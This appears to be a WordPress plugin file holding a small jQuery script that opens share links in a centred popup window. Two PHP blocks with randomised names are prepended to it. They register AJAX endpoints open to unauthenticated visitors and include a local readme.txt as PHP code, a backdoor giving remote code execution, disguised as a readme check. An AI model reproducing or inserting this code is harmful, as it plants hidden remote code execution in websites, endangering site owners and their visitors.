if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
/*--------------------------------------// Popups that work Version: 1.0.1 Original code: Arnan de Gans Copyright: (c) 2020 Arnan de Gans //--------------------------------------// Changelog: //--------------------------------------// 7 sept 2020 * Adjusted top margin //--------------------------------------*/ jQuery(document).ready(function($) { $('.goosebox').click(function() { var left = (screen.width/2)-375; var top = (screen.height/2)-175; var NWin = window.open($(this).prop('href'), 'Spread the word', 'toolbar=no, location=no, status=no, menubar=no, scrollbars=no, resizable=yes, copyhistory=no, width=750, height=550, top='+top+', left='+left); if (window.focus) { NWin.focus(); } return false; }); });